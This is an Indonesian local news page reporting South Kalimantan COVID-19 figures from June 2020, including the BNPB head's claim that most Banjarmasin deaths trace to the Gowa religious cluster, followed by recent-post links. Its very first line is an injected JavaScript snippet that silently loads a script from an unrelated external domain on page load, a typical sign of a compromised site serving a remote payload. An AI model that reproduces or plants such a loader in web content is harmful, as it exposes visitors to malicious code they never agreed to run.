(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

Kepala BNPB: Di Banjarmasin 60 Persen Angka Kematian dari Klaster Gowa, Ribuan Belum Melapor


KANALKALIMANTAN.COM, BANJARBARU – Hingga Sabtu (6/6/2020) kemarin, jumlah kasus Covid-19 di Provinsi Kalimantan Selatan (Kalsel) sudah menyentuh angka 1.247 kasus. Dengan rincian 1.047 orang menjalani perawatan, 104 orang dinyatakan sembuh, dan 96 orang telah meninggal dunia.

Khusus angka kematian, penyumbang paling besar berasal dari kota Banjarmasin dengan mencatatkan 79 kasus. Kondisi ini pun menjadi sorotan oleh pemerintah pusat.

Kepala Badan Nasional Penanggulan Bencana (BNPB) Letjen TNI Doni Monardo mengatakan pihaknya telah menghubungi pihak Dinas Kesehatan Kota Banjarbarmasin untuk mencari tahu mengapa grafik angka kematian begitu tinggi di ibu kota Provinsi Kalsel itu.

“Dua minggu lalu saya hubungi untuk mencari tau apa yang sebenarnya terjadi. Ternyata 60 persen angka kematian di kota Banjarmasin itu adalah orang-orang yang pernah ikut ke Gowa (klaster Gowa),” kata Doni Monardo.

Baca juga: BBTKL-PP Banjarbaru Cuma Bisa Lakukan Swab Test 68 Sampel Perhari

Menurut data yang diterima Kepala BNPB, ada lebih dari 2.000 warga Kalsel yang mengikuti kegiatan keagamaan di Kabupaten Gowa, Sulsel, kala itu. Hanya saja, sampai saat ini yang terdaftar melaporkan ke tim Gugus Tugas daerah cuma ada 900 orang.

Artinya, masih ada ribuan lebih masyarakat Kalsel yang mengikuti kegiatan Gowa belum melapor. Fakta inilah yang diduga kuat memunculkan kasus-kasus baru Covid-19 di Kalsel lantaran terjadinya penularan. Mereka yang belum terdaftar ini tersebar di berbagai daerah.

Baca juga: Uji Sampel Swab Sangat Terbatas, Pusat Bantu 2 Alat PCR ke Kalsel

Oleh karena itu, Kepala BNPB mengajak masyarakat Kalsel untuk melakukan observasi siapa saja yang dulu pernah mengikuti acara keagamaan di Gowa. Ia juga meminta jika masyarakat yang pernah ke Gowa secara sukarela memeriksakan diri ke fasilitas kesehatan di masing-masing daerah.

“Kerja sama komponen masyarakat itu sangat penting. Saya harapkan kelompok gowa di Kalsel secara sukarela untuk memeriksaan diri,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

1 jam ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

2 jam ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

4 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

6 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

6 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

8 jam ago

This website uses cookies.